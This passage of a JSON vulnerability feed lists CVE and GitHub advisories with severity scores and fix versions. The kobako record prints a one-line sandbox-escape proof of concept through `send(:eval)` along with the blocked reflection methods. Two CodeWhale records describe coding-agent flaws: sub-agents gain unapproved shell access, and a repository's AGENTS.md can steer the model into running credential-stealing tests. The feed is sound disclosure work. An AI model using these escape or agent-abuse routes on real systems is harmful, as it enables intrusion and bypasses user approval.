fixes.","publishedAt":"2026-09-07T13:20:36.850Z","updatedAt":"2026-10-26T14:16:40.070Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76578","asOf":"2026-10-26T14:16:40.070Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76578","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76578","type":"primary","publishedAt":"2026-09-07T13:20:36.850Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-66592","cveId":"CVE-2026-66592","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in rtCamp Inc.","summary":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in rtCamp Inc. rtMedia for WordPress, BuddyPress and bbPress buddypress-media allows Blind SQL Injection.This issue affects rtMedia for WordPress, BuddyPress and bbPress: from n/a through 4.7.11.","detail":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in rtCamp Inc. rtMedia for WordPress, BuddyPress and bbPress buddypress-media allows Blind SQL Injection.This issue affects rtMedia for WordPress, BuddyPress and bbPress: from n/a through 4.7.11.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-08-20T12:16:33.057Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-66592","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-66592","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-66592","type":"primary","publishedAt":"2026-08-20T12:16:33.057Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55107","cveId":"CVE-2026-55107","aliases":["GHSA-7pwq-q9jf-539h"],"kind":"vulnerability","title":"kobako Sandbox Escape: guest eval reaches host RCE via method_missing → public_send (any bound Service)","summary":"```ruby\ntarget.public_send(method.to_sym, *args, **kwargs, &block)\n```\n\n`public_send` can invoke any public method, including Ruby's ambient\nreflection surface. A guest pivots through the public `send` into otherwise\nprivate Kernel methods: a dispatch request with `method = \"send\"` and\n`args = [:eval, \" \"]` evaluates to `target.send(:eval, \" \")`,\nrunning attacker-controlled Ruby in the host. Any bound Service object is\nsufficient — no Service-specific behavior is required.","detail":"### Summary\nA guest mruby script running inside the Kobako sandbox can execute arbitrary\nRuby in the host process, fully escaping the sandbox.\n\n### Details\nA host embeds bound \"Service\" objects that guest scripts call across the wasm\nboundary through the transport dispatcher. The dispatcher passed the\nguest-supplied method name straight to `Object#public_send` on the bound\nobject, with no restriction to the object's own methods:\n\n```ruby\ntarget.public_send(method.to_sym, *args, **kwargs, &block)\n```\n\n`public_send` can invoke any public method, including Ruby's ambient\nreflection surface. A guest pivots through the public `send` into otherwise\nprivate Kernel methods: a dispatch request with `method = \"send\"` and\n`args = [:eval, \" \"]` evaluates to `target.send(:eval, \" \")`,\nrunning attacker-controlled Ruby in the host. Any bound Service object is\nsufficient — no Service-specific behavior is required.\n\n### Proof of Concept\nA guest call equivalent to:\n\n```\nService.send(:eval, \" \")\n```\n\nexecutes in the host process and can read or modify host state, spawn\nprocesses, and so on.\n\n### Impact\nComplete sandbox escape leading to remote code execution in the host process,\ndefeating the gem's central guarantee of isolating untrusted mruby scripts.\nAny deployment that runs untrusted or attacker-influenced scripts is affected.\nAll released versions (0.1.0 through 0.9.0) are vulnerable; the dispatcher\ncarried the same unguarded `public_send` sink under three successive names\n(`registry` → `rpc` → `transport`).\n\n### Patches\nFixed in 0.9.1. The dispatcher now rejects any method whose resolved owner is\na core/meta module (`BasicObject`, `Kernel`, `Object`, `Module`, `Class`), so\nonly methods the bound object itself defines — or dynamically handles via\n`method_missing` — remain reachable. The ambient reflection methods (`send`,\n`__send__`, `public_send`, `instance_eval`, `instance_exec`, `method`,\n`instance_variable_get`, …) are all owned by those modules and are blocked.\n\n### Workarounds\nNone within the affected versions. Until you can upgrade, do not bind any\nhost Service object into a sandbox that runs untrusted scripts. Upgrade to\n0.9.1.\n\n### References\n- GHSA-7pwq-q9jf-539h\n- Fix commit: 64f8470\n\n### Credits\nReported and fixed by Ahmed Al Hafoudh.\n\nAffected package ranges reported by GitHub:\nkobako: >= 0.1.0, <= 0.9.0","action":"GitHub lists first patched versions: kobako: 0.9.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-08-18T20:09:59.000Z","updatedAt":"2026-10-26T14:45:09.000Z","regions":["Global"],"vendor":null,"product":"kobako","stacks":["Ruby gems","kobako","rubygems"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://github.com/advisories/GHSA-7pwq-q9jf-539h","asOf":"2026-10-26T14:45:09.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-7pwq-q9jf-539h","url":"https://github.com/advisories/GHSA-7pwq-q9jf-539h","type":"primary","publishedAt":"2026-08-18T20:09:59.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-7pwq-q9jf-539h, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-10579","cveId":"CVE-2026-10579","aliases":[],"kind":"vulnerability","title":"A flaw was found in Picketlink Federation SAML; the unsolcited response handler would accept forged assertions with no verification or validation, permitting an unauthed attacker...","summary":"A flaw was found in Picketlink Federation SAML; the unsolcited response handler would accept forged assertions with no verification or validation, permitting an unauthed attacker to authenticate as any principal in any role. This could lead to information disclosure, access to restricted operations, or other flaws.","detail":"A flaw was found in Picketlink Federation SAML; the unsolcited response handler would accept forged assertions with no verification or validation, permitting an unauthed attacker to authenticate as any principal in any role. This could lead to information disclosure, access to restricted operations, or other flaws.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-08-11T09:17:12.260Z","updatedAt":"2026-10-26T16:17:11.090Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-10579","asOf":"2026-10-26T16:17:11.090Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-10579","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-10579","type":"primary","publishedAt":"2026-08-11T09:17:12.260Z","checkedAt":"2026-10-26T17:20:56.094Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:20:56.094Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-7873","cveId":"CVE-2026-7873","aliases":["GHSA-v798-mcc6-2m3m"],"kind":"vulnerability","title":"Langflow: Code Injection Vulnerability in Code Validation Endpoint","summary":"IBM Langflow OSS 1.0.0 through 1.10.0 allows authenticated attackers to execute arbitrary OS commands and read sensitive files including credentials, enabling complete system compromise and lateral movement.","detail":"IBM Langflow OSS 1.0.0 through 1.10.0 allows authenticated attackers to execute arbitrary OS commands and read sensitive files including credentials, enabling complete system compromise and lateral movement.\n\nAffected package ranges reported by GitHub:\nlangflow: >= 1.0.0, < 1.10.1.rc0","action":"GitHub lists first patched versions: langflow: 1.10.1.rc0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-06-30T21:31:44.000Z","updatedAt":"2026-10-23T20:51:08.000Z","regions":["Global"],"vendor":null,"product":"langflow","stacks":["LangChain and Langflow","Python packages (PyPI)","langflow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://github.com/advisories/GHSA-v798-mcc6-2m3m","asOf":"2026-10-23T20:51:08.000Z"},"epss":{"probability":0.0155,"percentile":0.74905,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-7873&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-v798-mcc6-2m3m","url":"https://github.com/advisories/GHSA-v798-mcc6-2m3m","type":"primary","publishedAt":"2026-06-30T21:31:44.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-v798-mcc6-2m3m, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-7873&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-7873, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-53434","cveId":"CVE-2026-53434","aliases":["GHSA-4x29-79gh-6v8q"],"kind":"vulnerability","title":"Apache Tomcat util accepted misconfigured CRLs","summary":"Detection of Error Condition Without Action vulnerability in Apache Tomcat when configuring Certificate Revocation List (CRLs) for a FFM based connector. If an FFM connector was configured with invalid CRLs, the invalid CRLs were ignored meaning invalid certificates could be accepted.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.22, from 10.1.0-M7 through 10.1.55, from 9.0.83 through 9.0.118.","detail":"Detection of Error Condition Without Action vulnerability in Apache Tomcat when configuring Certificate Revocation List (CRLs) for a FFM based connector. If an FFM connector was configured with invalid CRLs, the invalid CRLs were ignored meaning invalid certificates could be accepted.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.22, from 10.1.0-M7 through 10.1.55, from 9.0.83 through 9.0.118.\n\nUsers are recommended to upgrade to version 11.0.23, 10.1.56 or 9.0.119, which fixes the issue.\n\nAffected package ranges reported by GitHub:\norg.apache.tomcat:tomcat-util: >= 11.0.0-M1, <= 11.0.22\norg.apache.tomcat:tomcat-util: >= 10.1.0-M7, <= 10.1.55\norg.apache.tomcat:tomcat-util: >= 9.0.83, <= 9.0.118","action":"GitHub lists first patched versions: org.apache.tomcat:tomcat-util: 11.0.23; org.apache.tomcat:tomcat-util: 10.1.56; org.apache.tomcat:tomcat-util: 9.0.119. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-06-29T21:32:15.000Z","updatedAt":"2026-10-23T21:42:44.000Z","regions":["Global"],"vendor":null,"product":"org.apache.tomcat:tomcat-util, org.apache.tomcat:tomcat-util, org.apache.tomcat:tomcat-util","stacks":["Apache Tomcat","Java packages (Maven)","org.apache.tomcat:tomcat-util","maven"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://github.com/advisories/GHSA-4x29-79gh-6v8q","asOf":"2026-10-23T21:42:44.000Z"},"epss":{"probability":0.00586,"percentile":0.47721,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-53434&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-4x29-79gh-6v8q","url":"https://github.com/advisories/GHSA-4x29-79gh-6v8q","type":"primary","publishedAt":"2026-06-29T21:32:15.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-4x29-79gh-6v8q, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-53434&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-53434, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-49875","cveId":"CVE-2026-49875","aliases":["GHSA-xw5h-cmh3-8j6j"],"kind":"vulnerability","title":"Apache CXF has Improper Restriction of XML External Entity Reference","summary":"Apache CXF's EndpointReferenceUtils and W3CMultiSchemaFactory classes construct a SAXParserFactory without the necessary JAXP hardening configurations, enabling out-of-band (OOB) external entity resolution. Users are recommended to upgrade to versions 4.2.2 or 4.1.7 or 3.6.12, which fix this issue.","detail":"Apache CXF's EndpointReferenceUtils and W3CMultiSchemaFactory classes construct a SAXParserFactory without the necessary JAXP hardening configurations, enabling out-of-band (OOB) external entity resolution. Users are recommended to upgrade to versions 4.2.2 or 4.1.7 or 3.6.12, which fix this issue.\n\nAffected package ranges reported by GitHub:\norg.apache.cxf:cxf-core: >= 4.2.0, < 4.2.2\norg.apache.cxf:cxf-core: >= 4.0.0, < 4.1.7\norg.apache.cxf:cxf-core: < 3.6.12","action":"GitHub lists first patched versions: org.apache.cxf:cxf-core: 4.2.2; org.apache.cxf:cxf-core: 4.1.7; org.apache.cxf:cxf-core: 3.6.12. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-06-12T12:31:33.000Z","updatedAt":"2026-10-26T16:16:25.000Z","regions":["Global"],"vendor":null,"product":"org.apache.cxf:cxf-core, org.apache.cxf:cxf-core, org.apache.cxf:cxf-core","stacks":["Java packages (Maven)","org.apache.cxf:cxf-core","maven"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://github.com/advisories/GHSA-xw5h-cmh3-8j6j","asOf":"2026-10-26T16:16:25.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-xw5h-cmh3-8j6j","url":"https://github.com/advisories/GHSA-xw5h-cmh3-8j6j","type":"primary","publishedAt":"2026-06-12T12:31:33.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-xw5h-cmh3-8j6j, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-9037","cveId":"CVE-2026-9037","aliases":[],"kind":"vulnerability","title":"A firmware update mechanism in the affected charging controller fails to validate the authenticity of firmware packages delivered through the device's management interface.","summary":"A firmware update mechanism in the affected charging controller fails to validate the authenticity of firmware packages delivered through the device's management interface. Because cryptographic signatures are not verified, an attacker with the ability to interfere with or impersonate the management channel could cause the device to install an unauthorized firmware package. This condition could allow execution of unauthorized code with high privileges on the device.","detail":"A firmware update mechanism in the affected charging controller fails to validate the authenticity of firmware packages delivered through the device's management interface. Because cryptographic signatures are not verified, an attacker with the ability to interfere with or impersonate the management channel could cause the device to install an unauthorized firmware package. This condition could allow execution of unauthorized code with high privileges on the device.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-28T20:16:27.093Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-9037","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-9037","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-9037","type":"primary","publishedAt":"2026-05-28T20:16:27.093Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45374","cveId":"CVE-2026-45374","aliases":[],"kind":"vulnerability","title":"CodeWhale is a DeepSeek + MiMo coding agent in terminal.","summary":"CodeWhale is a DeepSeek + MiMo coding agent in terminal. Prior to 0.8.26, the task_create tool spawns durable sub-agents that inherit two insecure defaults, allow_shell defaults to true (config.rs:1499: self.allow_shell.unwrap_or(true)) and auto_approve defaults to true (task_manager.rs:297: auto_approve: Some(true)). When a user approves a task_create call (which requires ApprovalRequirement::Required), they approve what appears to be a benign work prompt. However, the spawned sub-agent silently receives unrestricted, unapproved shell access. This vulnerability is fixed in 0.8.26.","detail":"CodeWhale is a DeepSeek + MiMo coding agent in terminal. Prior to 0.8.26, the task_create tool spawns durable sub-agents that inherit two insecure defaults, allow_shell defaults to true (config.rs:1499: self.allow_shell.unwrap_or(true)) and auto_approve defaults to true (task_manager.rs:297: auto_approve: Some(true)). When a user approves a task_create call (which requires ApprovalRequirement::Required), they approve what appears to be a benign work prompt. However, the spawned sub-agent silently receives unrestricted, unapproved shell access. This vulnerability is fixed in 0.8.26.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-28T18:16:35.843Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":["AI coding agents"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45374","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45374","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45374","type":"primary","publishedAt":"2026-05-28T18:16:35.843Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45311","cveId":"CVE-2026-45311","aliases":[],"kind":"vulnerability","title":"CodeWhale is a DeepSeek + MiMo coding agent in terminal.","summary":"CodeWhale is a DeepSeek + MiMo coding agent in terminal. From 0.3.0 to 0.8.23, the run_tests tool executes cargo test in the workspace with ApprovalRequirement::Auto, meaning it runs without any user approval prompt. cargo test compiles and executes arbitrary code: test binaries, build.rs build scripts, and proc macros. While auto-approving test execution is a deliberate design choice, it creates an inconsistency in the security boundary. However, in a malicious repository, test code can execute arbitrary shell commands, exfiltrate credentials, or establish persistence with zero approval. The attack is amplified by AGENTS.md (auto-loaded into the system prompt), which can instruct the model to run tests proactively at session start. This vulnerability is fixed in 0.8.23.","detail":"CodeWhale is a DeepSeek + MiMo coding agent in terminal. From 0.3.0 to 0.8.23, the run_tests tool executes cargo test in the workspace with ApprovalRequirement::Auto, meaning it runs without any user approval prompt. cargo test compiles and executes arbitrary code: test binaries, build.rs build scripts, and proc macros. While auto-approving test execution is a deliberate design choice, it creates an inconsistency in the security boundary. However, in a malicious repository, test code can execute arbitrary shell commands, exfiltrate credentials, or establish persistence with zero approval. The attack is amplified by AGENTS.md (auto-loaded into the system prompt), which can instruct the model to run tests proactively at session start. This vulnerability is fixed in 0.8.23.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-28T18:16:35.170Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":["AI coding agents"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45311","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45311","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45311","type":"primary","publishedAt":"2026-05-28T18:16:35.170Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45261","cveId":"CVE-2026-45261","aliases":[],"kind":"vulnerability","title":"GitButler is a modern Git-based version control interface for AI-powered workflows.","summary":"GitButler is a modern Git-based version control interface for AI-powered workflows. Prior to 0.19.7, a emote code execution vulnerability exists in the Tauri-based GitButler desktop application. An attacker can inject a malicious link in a pull request body, which if clicked by the user allows for arbitrary script execution in the Tauri webview. Users that have not enabled forge integration are not at risk. This vulnerability is fixed in 0.19.7.","detail":"GitButler is a modern Git-based version control interface for AI-powered workflows. Prior to 0.19.7, a emote code execution vulnerability exists in the Tauri-based GitButler desktop application. An attacker can inject a malicious link in a pull request body, which if clicked by the user allows for arbitrary script execution in the Tauri webview. Users that have not enabled forge integration are not at risk. This vulnerability is fixed in 0.19.7.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-28T17:16:31.900Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45261","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45261","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45261","type":"primary","publishedAt":"2026-05-28T17:16:31.900Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-24444","cveId":"CVE-2026-24444","aliases":[],"kind":"vulnerability","title":"SDMC NE6037 cable modem routers running firmware 7.1.6.0.25 and 7.1.6.1.9_B9 contain a hardcoded password vulnerability in the web management interface recovery endpoints...","summary":"SDMC NE6037 